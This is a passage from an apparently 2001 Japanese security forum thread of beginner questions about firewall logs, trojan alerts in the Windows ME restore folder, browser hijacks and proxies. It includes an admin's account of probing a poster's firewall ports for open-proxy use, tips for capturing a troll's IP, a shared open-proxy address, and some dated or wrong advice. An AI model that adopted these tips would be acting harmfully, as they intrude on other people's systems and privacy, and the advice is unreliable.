1,[2001-Jul-08 02:05:58] Rule 'Packet to unopened port received': : In UDP rad1.tyo.freecom.ne.jp [210.155.148.15:53]->localhost:2730, Owner: No owner
1,[2001-Jul-08 02:06:06] Rule 'Packet to unopened port received': : In UDP rad1.tyo.freecom.ne.jp [210.155.148.15:53]->localhost:2725, Owner: No owner
1,[2001-Jul-08 02:06:22] Rule 'Packet to unopened port received': : In UDP rad1.tyo.freecom.ne.jp [210.155.148.15:53]->localhost:2733, Owner: No owner

あの〜
スーパー初心者なんですけど
バスターで
C:\RESTORE\ARCHIVEにTROJ_HUが検出されました
これってまるごと削除しちゃってもいいんですか？
お願いします

>>400
ホームページのｳｲﾙｽ情報を見てください。

>>401
レスありがとうございます
いま見たのですがウイルスのデータベースだと
「ファイルを削除して下さい」としか書いてありません
で　削除しようとすると「システムに影響があります」
と表示されます
どうしたらいいんでしょう・・・
何か気持ち悪くって・・

ファイルを削除して下さい

どうしたらいいんでしょうって、ウィルス飼ってたいなら消さなくていいんじゃないですか
ファイル消したらリカバリディスクから引っ張ってくれば良いんじゃないの
消したファイルだけ

大体C:\restoreってバックアップ情報かなんかじゃないの？知らんけど

ﾉｰﾄﾝ･ﾊﾟｰｿﾅﾙ･fw使ってます。
先日、「ﾇｷﾌ･ﾇｷﾌが侵入しようとしています」っていう警告がでました。
もちろんブロックするように規則を設定しました。
ところで、ﾇｷﾌ･ﾇｷﾌってなんでしょうか？

>>405
マダガスカルの言葉で「まだ色の出る紅茶パック」と言う意味です。

>>406
ありがとうございます。
ネタじゃないですよね(^^;
できれば、どういう類の侵入なのか知りたかったのですが。


あと、侵入元をWhoisで調べたら、Akamai technologies. inc.
という所でした。
英語のサイトなので何のこっちゃです。
辞書片手に調べてみます。
では。

ハッキングをされたときに相手が出来る行為はどの辺まででしょうか？
ピンからキリまで（簡単にできる事から、個人情報がどれくらい漏れるかまで）教えてください。

>>408
ソーシャルハックだったら、手腕しだいで丸裸にされることもあろう。
会社のLAN内部でのハックでは、会社の把握してる情報は抜かれるべ。
純粋にネットだけなら大したことは判らんよ。

IPを晒した場合（魔だ晒してないけど）
プロバイダ変えれば　完全に安心なのですか？

すみません　間違えました。。。

恐怖のﾇｷﾌ･ﾇｷﾌ。

リモホとIPだけでハッキングはできるのですか？
なら晒したくないと思うんですが

>>413
晒したところでたいしたことにはなりません。
PING打たれたり、ポートスキャンされたりするだけです。(殆どの場合)
希にヒマでスキルのある人間が何かしようと思うかもしれませんが、
それは日常生活に置いて美人からホテルに誘われる程希なことであり
実際にはほぼ無いと逝っても過言では無いでしょう。
しかし、最低限不必要なポートなどは閉じ、不必要なサービスを立ち上げないこと
だけはしておくべきでしょう。
ダイヤルアップならﾘﾓﾎは変わるので気にせずガンガン晒しましょう。

>>414
ありがとうございました。

PINGとかポートとかしらないですが、ハッキングまでには至らないという事ですよね？
安心しました。

>>403
ありがとうございました
消しました
何のファイルかさえ解らなかったのですが
今のところ平気みたいです

>>399
もしかしてfreecomのDNS使ってんの？

>>417
ＦＲＥＥＣＯＭってプロバイダーですよね。
だいぶ前にメインで使ってるプロバイダーの調子が悪かったときに
何度か使った覚えがあります。
プロバイダーからの送信ってことなんですか？
他にもこちらの方からもきます。
1,[2001-May-30 04:42:52] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:3236, Owner: No owner
1,[2001-Jun-04 04:26:54] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2295, Owner: No owner
1,[2001-Jun-05 01:16:48] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2739, Owner: No owner

>>417
ＦＲＥＥＣＯＭってプロバイダーですよね。
だいぶ前にメインで使ってるプロバイダーの調子が悪かったときに
何度か使った覚えがあります。
プロバイダーからの送信ってことなんですか？
他にもこちらの方からもきます。
1,[2001-May-30 04:42:52] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:3236, Owner: No owner
1,[2001-Jun-04 04:26:54] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2295, Owner: No owner
1,[2001-Jun-05 01:16:48] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2739, Owner: No owner

>>417
ＦＲＥＥＣＯＭってプロバイダーですよね。
だいぶ前にメインで使ってるプロバイダーの調子が悪かったときに
何度か使った覚えがあります。
プロバイダーからの送信ってことなんですか？
他にもこちらの方からもきます。
1,[2001-May-30 04:42:52] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:3236, Owner: No owner
1,[2001-Jun-04 04:26:54] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2295, Owner: No owner
1,[2001-Jun-05 01:16:48] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2739, Owner: No owner

>>417
ＦＲＥＥＣＯＭってプロバイダーですよね。
だいぶ前にメインで使ってるプロバイダーの調子が悪かったときに
何度か使った覚えがあります。
プロバイダーからの送信ってことなんですか？
他にもこちらの方からもきます。
1,[2001-May-30 04:42:52] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:3236, Owner: No owner
1,[2001-Jun-04 04:26:54] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2295, Owner: No owner
1,[2001-Jun-05 01:16:48] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2739, Owner: No owner

>>417
ＦＲＥＥＣＯＭってプロバイダーですよね。
だいぶ前にメインで使ってるプロバイダーの調子が悪かったときに
何度か使った覚えがあります。
プロバイダーからの送信ってことなんですか？
他にもこちらの方からもきます。
1,[2001-May-30 04:42:52] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:3236, Owner: No owner
1,[2001-Jun-04 04:26:54] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2295, Owner: No owner
1,[2001-Jun-05 01:16:48] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2739, Owner: No owner

>>417
ＦＲＥＥＣＯＭってプロバイダーですよね。
だいぶ前にメインで使ってるプロバイダーの調子が悪かったときに
何度か使った覚えがあります。
プロバイダーからの送信ってことなんですか？
他にもこちらの方からもきます。
1,[2001-May-30 04:42:52] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:3236, Owner: No owner
1,[2001-Jun-04 04:26:54] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2295, Owner: No owner
1,[2001-Jun-05 01:16:48] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2739, Owner: No owner

>>417
ＦＲＥＥＣＯＭってプロバイダーですよね。
だいぶ前にメインで使ってるプロバイダーの調子が悪かったときに
何度か使った覚えがあります。
プロバイダーからの送信ってことなんですか？
他にもこちらの方からもきます。
1,[2001-May-30 04:42:52] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:3236, Owner: No owner
1,[2001-Jun-04 04:26:54] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2295, Owner: No owner
1,[2001-Jun-05 01:16:48] Rule 'Packet to unopened port received': : In UDP 211.10.178.5:53->localhost:2739, Owner: No owner

場違いかもだけど、パスワードってどうやったら割れます？

叩けよ。すぐ割れるよ

アラーシ？

なんだこの荒らしは

211.197.247.174ってどこか知ってます？

セキュ板はやっぱり通信技術と初級ネットのあいだのファイアーウォールなのか。
なんだこの厨房どもは。

この板にいるとファイヤーウォールの気持ちがなんとなくわかる

ファイル共有してネットに繋ぐと、
他の人から丸見えになることがあるらしいんだけど、
どうやってファイル共有してるやつを見つけ出すの？

ポートスキャン
Google（ｗ

とりあえず初心者用FAQ↓
を見てから質問しようね♪
ttp://members.tripod.co.jp/casinoA1/

色々やってみてください。
WinMEでTinyFWのみです。

62.98.231.207このIP調べても情報でてこない

>>436
英語だけど
http://www.geektools.com/cgi-bin/proxy.cgi
とか
http://www.postmodern.com/~mcb/misc/ipw.html
で調べたら出てきたよ。

LANボードを購入したらWakeup On LAN機能ってのが有ったんですが、
これってやっぱセキュリティ的にはやらない方が賢明ですか？
便利かなー、と思って惹かれてるんですが・・。

初歩的質問ですいませんが　ポートTCP/IP フィルタリングについて教えて下さい。
80(HTTP)と21(SMTP)と25(FTP)以外全部閉じたほうがいい。
などとよく聞くのですが....何処でどうやって不要なポート閉じるのですか?
ルーターの設定以外でWINコントロールから　どうやるのですか...
OSはWIN-MEです。　...ご教授よろしくお願いします。

厨房覚悟です。教えてください。

Ｒｅｇｅｔでダウンロードをしていると、そのうち
ＲＥＳＴＯＲＥとかいうＣドライブのフォルダに＠＠＠．ＣＰＹとかいう
ファイルがいっぱい作成され、ＨＤＤがそのうち満タンになってしまいます。

某板で聞いたら、ウィルスだそうなんですが、全く分かりません。
対策方法があれば、教えて下さい。

環境は
WIn ME
P3
HDD C , D , E 合計３０Ｇ
RAM 128
です。
ダウンロードするファイルのサイズは１００Ｍ程度で、
５０ＭをＤＬしたくらいから、ＨＤＤが怪しくなってきます。
（結局、ＤＬ完成できないで困ってしまいます）

ウィルスバスターなどのソフトはいれていません。

ご鞭撻、お願いします。

440です。追加です。
restoreフォルダの中は見ることができるのですが、
ほとんどが削除できません。
そこに感染するウィルスがあるそうで、それが怪しい
かと思っていますが、対策がわかりません。

重ねて、お願い申し上げます。

>>440
おおっ俺もそれでなやんでたとこだよ!ヲイ　しかもWIn ME も一緒...

スキャンしたら バックドア2　ウイルス名トロイだってさ。
俺のばあいスキャンの誤認っぽかったから　隔離してるけど
捨てていいファイルなら　捨てたいんだけどね......

とりあえずアンチウィルスソフト試し板でもDLしてみてファイル突き止めないと
やばいよ。　　　あとトロイなら　ZoneAlarm　とか　ToRoI Buster とか　フリーだから
入れてみたら?
restoreフォルダに .exe がなければ大丈夫かもしれないけど....
けどＲＥＳＴＯＲＥって隠しフォルダ　何に使ってるやつだろ?

けどさー　．ＣＰＹ　ってただのバックアップファイルかもよ。

ＲＥＳＴＯＲＥって隠しフォルダ　のTEMPフォルダに入ってない?

誰かC:ＲＥＳＴＯＲＥって隠しフォルダ　のTEMPフォルダ消してもいいか
教えてちょ　あと安全な消し方もヨロシク。

deldust　って検索　したらTEMPバックアップファイル消してくれる
ソフトあるよ。

440です。
＞あとトロイなら　ZoneAlarm　とか　ToRoI Buster とか　フリーだから
＞入れてみたら?
早速検索してみます。

＞ＲＥＳＴＯＲＥって隠しフォルダ　のTEMPフォルダに入ってない?
はい。そこに、ズバリあります。
でも、ＲｅｇｅｔでＤＬしてたら、そのファイルがガンガン増えて…
７Ｇになって、ＨＤＤまんたんになりました。（泣）

＞かC:ＲＥＳＴＯＲＥって隠しフォルダ　のTEMPフォルダ消してもいいか
教えてちょ　あと安全な消し方もヨロシク。

どこかで、みました。
マイコンピュータ右クリックから、一番右のタブ、
そして、ファイル系統の…から…でできました。
詳しく説明できないのは、私のＷＩＮＭＥが中文版
だからです。タブとか、全部漢字なので…スイマセン。
ttp://www.ann.co.jp/pas/bbs/pslg23898.html
ここが少し参考になります。

＞deldust　って検索　したらTEMPバックアップファイル消してくれる
＞ソフトあるよ。
早速、検索します。
しかしながら、ウィルスなのかどうか…不安です。

レスくれたみなさん、アリガトウございます。
更に何か分かれば、私もすぐに書き込みします。

>>445
ttp://www.ann.co.jp/pas/bbs/pslg23898.html
システムの復元に使うバックアップファイル だったんだ。

ＲＥＳＴＯＲＥの中のTEMP以外は消すとまずいかな?.......

ＲＥＳＴＯＲＥってフォルダ、プロパティで見てみるとファイル数が２００とか書いてあるんだが、
隠しフォルダも表示の設定に変更して見てみても元から見える４つのファイルしか見れない・・・。
容量も４００ＭＢ近くあるんだが、何なのコレ？

>>447
俺もそれで悩んでイリアに変えた。
REGETなんてやめとけ！
スパイウェア入ってるし・・・

追加
俺はそのフォルダ内のファイルにトロイ君がくっついてたよ。

スパイウェアスパイウェアってよく言うけどさ、単に作者に使用状況あたり
ちょっとデータ送ってるだけだろ？だいたいfwでデータ送るとこだけ遮断できん
のかえ？ま、気にするほどの事じゃないと思うが

ある板の管理をしてます。
IPが「fw.**********.co.jp」の奴がくだらんカキコしたので
どうにかしてやろうと思ってます。
まず、このIPが串として外部からこのIPを使えるのかポート番号を変えて
験してみました。
8080　不通
80　　Error 403 The Proxy Server cannot allow this request to go through
8000　不通
3128　不通
どうやら、外部からは使えないようなので、内部の人間の可能性が高いと
思うのですが、どうでしょうか？

>>451
まぁ、プロクシ内部の方の書き込みでしょう。
こう言う話題は初級ネット板でお願いします。板違いですよ

犯罪行為はしないようにね。

ps で z3ro とかいうのが動いてました。
find で z3ro を探してみると /usr/src 以下に .puta/ZeRoRoot という
ディレクトリができてました。.puta が ls -la でも見えないし、
いかにもな名前なんですが、ZeRoRoot とか z3ro とかって
何なんでしょうか？

もしかしてlsも書きかえられてないかい？
でもpsには出るのか

バックドアの可能性が高いけど、普通ツールの
名前のままコンパイルしないからz3roとか言われても
わからん。

>>448
トロイが紛れてたって、アイコンの表示もできんのにどーやって見つけたん？
ちなみに俺は毎日ネット切断後にＶＢでウイルス検索かけてるんだが、何もひっかからないぞ…。

>>456
トロイのバックドアとかってウイルススキャン誤認が多いんだって

プリインストール　糞　　ψ（｀∀´）ψ　　

結局、ＲＥＳＴＯＲＥフォルダの中身を完全に
消す方法というのはどうするんでしょう？

私のＲＥＳＴＯＲＥには、怪しいＷＯＲＤのファイルや
．ＣＡＢなどがいろいろいますが、触ってません。
相変わらず、ＣＯＰＹファイルは増え続けています…

>>458
たしか「Nortonゴミ箱を空にする」を実行すれば消えたような気がする。

http://saki.2ch.net/test/read.cgi?bbs=ana&key=994344388&st=64&to=64&nofirst=true
リンク先に飛んで頂ければ分かると思うのですが、
いつもこんな事ばっかり言って我々を不安にさせます。
こいつはsaki板にバックドアを仕掛けているのでしょうか？
こいつの言っている事の真偽を確かめる方法はありますでしょうか？

かまってほしいだけだろ。
真偽なんか確かめるまでもない。

>>458
ＭＥならがいしゅつだよ。
>>445
ttp://www.ann.co.jp/pas/bbs/pslg23898.html

けどＲＥＳＴＯＲＥの中のTEMP以外は消していいのかな?.......
誰か教えて下さい。

>>462
あっ、ホントだ、既出じゃん・・・。寝ぼけてました、ｽﾏｿ。
でも俺のＲＥＳＴＯＲＥフォルダにはファイルが４つしか表示されてないんだが、
他の２００近くファイルはどうやって表示すりゃいいのでしょうか？
隠しフォルダを全表示に設定変更しても見られないし・・・。

とりあえず、Ｒｅｓｔｏｒｅフォルダの中身を一部消してくれる
ツールがあったので、それでなんとかしましたが、依然、へんな
ファイル群は残っております…。

例のＲｅｇｅｔでＦｕｃｋな現象は、Ｒｅｇｅｔの使用をやめる
ことで、解決しそうですが、ウィルス疑惑があるので、なんか、
嫌な気分です…。
（しかし、Ｒｅｇｅｔってこんなにダメツールとは知らなかった…
３年以上も使っていたのに…ＦｌａｓｈＧｅｔマンセーですな）

zonealarmの使い方しりたいね。

>>465
検索サイトで探せよ。
いくつかあるぞ。

私も最近まで_RESTOREに悩まされてました。私の場合はどうやらDAEMONTOOLに関連付けさ
れていたらしく、REGEDITで_RESTOREを検索したら？？？VXD(名前忘れました）と一緒に
紛れ込んでいました。まずD-TOOLを削除した後に先の検索で引っ掛かったレジストリを丸
ごと削除した後再起動したら_RESTOREのフォルダを削除する事が出来ました。処理をして
3日ほど経ちましたが今のところ不都合は起きていません。

尚、DAEMONの関連付けの件は私の勘違いかもしれません。

今晩和。
ttp://keishichou.virtualave.netを踏んだら、IPがでてきてバーカ
って表示されました。
そして、デスクトップにkeishichou-terminal.ht？というファイルが作
られ、プロパティを開いたらみなれないポート番号がかいてありました。
これって監視されてるってことでしょうか？
ファイルを削除するだけで問題解決するかどうか聞きたいです。

ねえねえみんなハッキングや人のパソコン壊すことできる？
じゃあ、試しに私のパソコン壊してよ〜。
壊してくれた方には私のオナニー鑑賞券をさしあげるわ〜ん

ねえねえみんなハッキングや人のパソコン壊すことできる？
じゃあ、試しに私のパソコン壊してよ〜。
壊してくれた方には私のオナニー鑑賞券をさしあげるわ〜ん

>>470
できません。頼みますから初級ネットでお願いします。

>>469
しないでしょう、ご愁傷様。

>>469
踏んでも何にも起こらないんだけど

問題ないだろ>>469
心配ならウィルスチェックしてみればいいじゃん

プロパティにポート番号が書いてあるファイルってあるの？
拡張子は何？

OEの「メッセージルール」の使い方、オレが間違ってるのか
良くわからんのですが。

通常の削除（削除済みフォルダに移動する）では一度受信する
からイヤなので、「サーバから削除する」に設定してるはず
（具体的には、「送信者に以下の文字が含まれている場合」
の所に、たとえば「livedoor.com」とか「erohard.com」とか
入れてるんだけど。）

なんだけど、相変わらず同じ所から受信しちゃうんですよね（困

ＭＳＮチャットのホストキーを抜く方法、ツール等、教えて頂けませんでしょうか？
よろしくお願いします。

ここハックラ板じゃないよ

私の行き着けチャットに
自称２ちゃんねらーみたいな人がいてよく「IP取るぞ!ゴルァ」
とか言ってるんですけど、怖いです。
どのような対策をしたら良いでしょうか。

>>480
相手にしないで、放置しておけば宜しい
悔い改めなさい>>自称２ちゃんねらー

>>481
そうします。

チャットのURL教えて欲しいなぁ
IP「取る」と来たもんだ。大物かも知れん。

Vectorで「FTPでダウンロード」で落としても、
Traffic Logを見ると8080番ポートを使ってるみたいです。
I.Eのプロキシ設定では、FTPもプロキシを使用するになってるので
これでいいんでしょうか？
でもファイアウィールの設定で20番ポートのインバウンドは常に拒否に
してるんですが、何番ポートで受け取ったんでしょうか？

通信データをモニターするお薦めソフトを教えて下さい。
ＬＡＮ内のデータではなくて、モデムでやり取りしているデータの方です。

>>483
怖いからやです。

>>484
ポート・・・だから串使ってるんでしょ

そういや最近なんでヴェクターからftpでDL出来ないんだと思ったら
ftpのポーと許可してなかったんだ　ヴぁかだ＞俺
484見て気づいたよ

>>484
ブラウザでのプロキシ経由のＦＴＰは
クライアント-プロキシの間はhttpになるんだよ
FTPポートはぜんぜん関係ないよ
でも使ってるプロキシがHTTPプロキシと同じポートでの
FTPプロキシに対応していないとだめ
普通は対応してるけどね

あと、FTPプロキシ用のポートを別に持っているプロキシもあるけど、
これはブラウザでは使えないよ、FTPクライアントじゃないとだめ

語弊がありそうなので、一応補足しとく
ブラウザでも、プロキシの設定ををはずして、
プロキシに対して一度ログオンするようなURLを渡せばFTPできる

たとえばdelegateだとこんな感じ
ftp://"ID":パスワード@"プロキシ":ポート//"FTPサーバ"

>>489
ありがとうございました。
webサイト-プロキシ-クライアントのつながりが理解できました。
今までIriaでDLしててもFTPで全然落ちてこなかったので
なぜだろうと思ってたんですが、こういう理由だったんですね。

>>485
モデムでつながってるマシンでモニター走らせればいいだけだよ
PacMonでもsnifferでもなんでもいい

>>491
IriaはこのタイプのFTPにも対応していたはずだよ
設定項目を確認してみな

>>492 レス感謝。

このスレはあげとこう

ケーブルなんですけど、気をつけなければならない事を教えて下さい。
繋ぎっぱなしって事でセキュリティーが不安です。
どのように対処すればいいのか・・・

ポート全部開きっぱなし。

ブラックアイスで、
『トロイの木馬プログラムが有効かどうか調べようとしてます。』
ってでたんですが、これって僕が木馬を掴まされたってこと？
なんか今もピーピーいってるけど・・・・

ネットワークのポートを解説してるような所って無いでしょうか？
ここのポートはこれで使ってるとかの。
お願いします

>>496
パーソナルファイアーウォール入れる。

>>499
http://www.murashima.matsudo.chiba.jp/mura/tcpip-port.htm

フォームを使ったページで、
Warning: Page has Expired
の類のエラーメッセージがでることがありますが、
このExpireする時間は、そのページの吐き出すときのヘッダ部分で特にchache
指定していない場合、なにで決まるのでしょうか？

あと、この時間と、SSLSessionCacheTimeoutって、まったく別ものですか？

>>500
それは最初から設定されてないですよね？
設定されて無い場合にはどうすれば・・・

ぱーそなるふぁいやーをーるのそふとを入れるんだってばさ

>>503
http://salami.2ch.net/test/read.cgi?bbs=isp&key=987731417

いつからか、匿名の添付メールが送られてくるんですが・・・
本文も送信者も件名も何も書いてありません
ファイルの中身はウイルスの可能性があるので開けた事はありませんが
どうにかしてとめたいです
どうすればいいでしょうか？

その都度捨てる。何度も来るなら受信を拒否する。

>>507
ん〜ま〜、毎回捨ててるんだけどね
っつーか拒否ってアドレス分からんのにどうやるの？

>>508
MUAにもよるが、送信者が書いてなければ蹴る、とかってできないかな？

無料のプロキシーサーバー発見でもすぐ消えるかも

61.203.130.104

8080

>>510
無知がいい気になってんじゃねーよ（藁

それ、後でログが晒し上げされる罠じゃないだろうな（藁
っていうかハックラ板行けや

z61-203-130-104.dsl.nma.ne.jpだってさ

サイトが英語で読めません・・・
初心者すぎてスイマセン

>>510
悔い改めなさい。

Name: z61-203-130-104.dsl.nma.ne.jp
Address: 61.203.130.104
Network Information: [ネットワーク情報]
a. [IPネットワークアドレス] 61.203.128.0-61.203.135.0
b. [ネットワーク名] NMC
f. [組織名] 名古屋めたりっく通信株式会社
g. [Organization] Nagoya Metallic Communications.Co.,Ltd.
m. [運用責任者] JM645JP
n. [技術連絡担当者] SM3478JP
p. [ネームサーバ] ns1.nma.ne.jp
p. [ネームサーバ] ns2.nma.ne.jp
y. [通知アドレス] [email protected]
[割当年月日] 2001/03/22
[返却年月日]
[最終更新] 2001/03/22 12:15:34 (JST)

>>510は

http://ton.2ch.net/test/read.cgi?bbs=sec&key=988707245
の>>424 >>425 >>433を見て、これだ！と思ったみたいですね

やるならもっと上手に宣伝して、串厨どもを殲滅してくれ。

甥の厨房が使ってるパソコンが不調と聞いて見てみると
ダイヤルアップはＱ２番号に書き換えられ、エロ国際電話ＥＸＥファイル
がインストールされておりました。
上記を消してウィルスをサーチすると￥ＪＵＳＴにＨＹＢＲＩＳが有りました。
（メーラーはｓｈｕｒｉｋｅｎ）
怪しいメールは見つからず、レジストリは問題なさそうです。

ＨＹＢＲＩＳはどこからきたのでしょうか？

>>518
しらねーよ(AA省略)

>>519
地球にとっても優しいわね♥

エロ国際電話ＥＸＥファイルのタイムスタンプで検索をかけると
しょうもないエロ画像が有りました。

甥に何と言うべきでしょうか？

上質を極めろ。
と、言ってあげるのが吉。

>>521
おじさんがもっと良いところ教えてやるから。
と、言ってあげるのが吉。

はじめまして。大門といいます。
ＭＳＮメッセンジャーを使ってるんですが，今アクセスしてみたら自分の名前が
全然別の登録名（石川五右衛門とかそういう名前）に変えられてました。

よそからの不正アクセスですよね。
さて僕としてはどうするべきでしょうか？？

ちなみにマシンはＮＥＣのヴァリュースターＮＸ，ウインドウズ９８です。
ファイアウォール等は入れていません。

>>524
家からの不正アクセスじゃねーの？

単にパスワードクラックされただけでは？
家のローカルマシンは関係ないと思われ

（･∀･）ﾖｲ

>>524
ルパンにやられたんだYO

はじめまして。
ひとつ質問をよろしいでしょうか？

あのＩＥの検索ボタンを押すと、
今まではgooとかインフォシークとか選べたのですが、
今はこのＵＲＬ　http://www.finetimesearch.com/result.php?
の検索エンジンしか選べなくて困っています。
これって、どのようにしたら直せるのでしょうか。
方法を知っている方、お手数ですが、何か知っていたら教えてください。
よろしくお願いします。

>>529
検索フレームの右はじに隠れてる「カスタマイズ」。
それにしても超板違いだな

そのカスタマイズが押せないのです。
押しても凹むだけで、何も起こらないし表示されない。
何かのウィルスにやられたんじゃないかと不安で。。。

>>530
板違いでゴメンナサイ。

はじめまして、教えて下さい。
ADSLって固有IPを所得出来るそうですが、
ってぇことはルーター使えばWANを構築出来るんですか？？
本当に、消防＆教えて君＆板違いで申し訳ないのですが至急必要なんで
すみません。ネタじゃなくって本当に知識無いので、マジレス頂きたいです。

>>532
> ADSLって固有IPを所得出来るそうですが
必ずしもそういうわけではない。

ダイヤルアップネットワークにＱ２の接続先が入ってましたが
わたしはＣＡＴＶなので別に問題なしですよね？

　　　　　　　　　　　　　 ∩
　　 　 　 　 　 　 　 　 | |
　　 　 　 　 　 　 　 　 | |
　　　 　 　 ∧＿∧ 　 | |　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　 　 （ 　´Д｀）／/　　＜　先生！
　 　　　　／ 　 　 　 /　　　　 ＼ 　メールと掲示板の違いがわかりません
　　　　 / /|　 　 　/　　　　　　　￣￣￣￣￣￣￣￣￣￣￣￣￣
　 ＿＿| | .|　　　　|
　 ＼　 ￣￣￣￣￣￣￣＼
　　||＼　　　　　　　　　　　　＼
　　||＼||￣￣￣￣￣￣￣||￣
　　||　 ||￣￣￣￣￣￣￣||
　　 　 .||　　　　 　　　 　　.||

はじめまして。
えーと、私のいっているＨＰで、なんだか
１，解析を行っている
２，その解析とは、ＨＰにアクセスしてきた人の現在地、使用プロバイダー、前に見ていたＨＰが何か、
等などが解るらしいです。

それを解らなくさせる方法ってありますか？？

>>534
PCがモデムを介して電話線に繋がってなければ問題なし。

>>536
アクセス解析は何処でもやってるから気にすることはないと思いますよ
どうしても気になるのならプロキシをかませれば良いかと

＞前に見ていたＨＰが何か
これはリファラを送らないようにすれば大丈夫です

５３７の人ありがとうございました。

ZONEALARMをインストールしようとしたら
[VSMON.EXEファイルは欠落エクスポートVSUTIL.DLL:VSGetProcessFileName
にリンクされています。]
[C:WINDOWS\SYSTEM\ZONELABS\VSMON.EXEシステムに装着されたデバイスは動作
していません。]
と表示されインストールできません。どのようにすればよいのでしょうか？
お願いします。教えて下さい。

スキルアップするためには日々勉強しか無いですか？

BlackICEのネットワークトラフィックを見ていたら
何もやっていないのに、規則的にグラフが波打っています
どうしたらよいでしょうか

ＣＡＴＶのインターネットは串が刺せないと聞いたのですが、本当ですか？

刺せますが

>>543
すでにさしてないの？

うちのＨＰが若干の荒らしにあっているのですが、
掲示板の管理者モードからではリモートホストしかわかりません。
これからこの人を断定する事と言うのは出来るのでしょうか？教えてください。

自分のHPならリモホじゃなくてIP抜くようにしておきなさい。
リモホが分かるより多少はマシになります。

断定ちゅうと？
リモホわかってんならプロバイタ文句いうのが、
平和的解決の糸口だと思うよ！
（余計なことかんがえずに・・ね）

ウィンドウズでは自分とこにpingしてきたり攻撃してくる相手を
知らせてくれるツールがあるそうなんですがマックのヤツは
どこに逝けば入手できますか？名前もわかるとありがたいんですが。ちなみにダイヤルアプ接続ですが、そう言うソフト使ったほうがいいですか？

育児板にある「犠牲者は子供達」の53のブラクラを
踏んでしまいました、、、。
大丈夫でしょうか？
ほっておいても平気ですか？

>>547さん
ご助言ありがとうございました。
ところでＩＰ抜くためには何かソフトとかいるのですか？
ソフトの名前とか教えていただけると嬉しいのですが。

>>548さん
どこどこのだれさん。
みたいにわかると何か大きい事された時に
有効な手立てになるかと思ったので誰か解ると嬉しかったのですが。
それとまだ対した実害は出ていないのでプロバイダーに電話するのは気が引けたのです。
それにどうやら同一人物のようなのですが、
毎回リモホが違うので僕だと「リモホはこれだ！」っていうふうに言いきれない所がありまして。
odn,210.（略）,gw.freecom。と、３種類のリモホが表示されているんです。
なのでちょっとどうすればよいのか自信がなくて。
これはいわゆる「串」って言うやつなのでしょうか？

>>550
53のレスの後にがブラクラ警報出してるのに踏むか？普通・・・。
今、実害がないなら問題なし。気にせずどうぞ。

次から、ちゃんとリンク貼ってください。
面倒くさがって答えてくれる人を減らすだけですよ。

>>551
串を警戒してるんなら、ftpなりtelnetなりでIP抜いた方が良いと思うよ。
リモホだけだと個人を特定するには難しいからね。
でも、それは面倒だと思うから、別の手段を。
同じリモホを利用してる人を巻き添えにするけど、
特定のリモホを拒否するとかね。

えと、質問のジャンルとしてはここでいいと思うんですが…。
昨日、IEを起動したところ、ホームページの設定が書きかえられておりました。
どうせ家族の誰かが海外のアダルトサイトにでも行って、書きかえられたんだろうと思ったので、
いつもの通りYAHOOに設定しなおしておいたんです。
が、今日再び起動してみると、またもや昨日と同じサイトがホームページに。
で、調べてみると、どうやらホームページの設定を勝手に書きかえるようなプログラム（若しくはそのようなもの）
のせいみたいなんですよね。
とりあえず分かった範囲で対策（除去プログラムの実行など）をしたんですが、一向に改善されません。
スタートアップフォルダの中も空なので、これ以上どうすればいいのか分からないんです。
もし、他にすべきことがありましたら、ご教授願えませんでしょうか？
よろしくお願いします。

最高に・・・（・∀・）ｲｲ!!
http://kame.tadaima.com/2ch/

>>553
レジストリいじれる？

＞554さん
詳しい説明に沿ってなら何度かいじったことは…。
お手数かとは思いますが、一つ一つ教えていただけると助かります。
お願いできますでしょうか？

あ、555さんだった。
申し訳ない。

w2kで接続中に
外部アクセスのログ採り（ＩＰ、経路）をするにはどうすればいいですか？

>>558
意味不明
アクセスログの意味わかってる？
っていうかそれ以前にIPの仕組みわかってる？

ＡＤＳＬ初心者です。
まずWinMXを多用しているのだが、これは危険なのだろうか？
どんなソフトが一番いいか？
ウィルス送られてきたら、どうすればいいのか？
（たとえば「I love you.exe」とかってファイルが添付してあったら）
削除ボタンでいいんですかね？文字を見るだけでは大丈夫でしょ？
教えてください。

・・・「サーカム」っていうウィルス知ってます？

>>561
最新のやつね。
たしか、１０月の何日かになると全ファイルが消えるとか。
時限製のタチの悪いやつ。

ありがとう。マツキヨ氏

>>561
ここ参照
http://www.ipa.go.jp/security/topics/sircam.html

うう、なんか流れちゃったのでもう一度。
お願いしてばっかだからまずかったのかも…。できるかぎり努力しますんで、お願いします。

数日前、IEを起動したところ、ホームページの設定が書きかえられておりました。
どうせ家族の誰かが海外のアダルトサイトにでも行って、書きかえられたんだろうと思ったので、
いつもの通りYAHOOに設定しなおしておいたんです。
が、再び起動してみると、またもや同じサイトがホームページに。
で、調べてみると、どうやらホームページの設定を勝手に書きかえるようなプログラム（若しくはそのようなもの）
のせいみたいなんですよね。
とりあえず分かった範囲で対策（除去プログラムの実行など）をしたんですが、一向に改善されません。
スタートアップフォルダの中も空なので、これ以上どうすればいいのか分からないんです。
もし、他にすべきことがありましたら、ご教授願えませんでしょうか？
よろしくお願いします。
わ

>>565
msconfigのスタートアップを見てみれば？

鬼武者っていう勘違いなやつがいて大迷惑なんすけどどうすればいいんですか？

http://www.sinnet.sh/~mischil/2000/

>>567
さよなら。

>>565
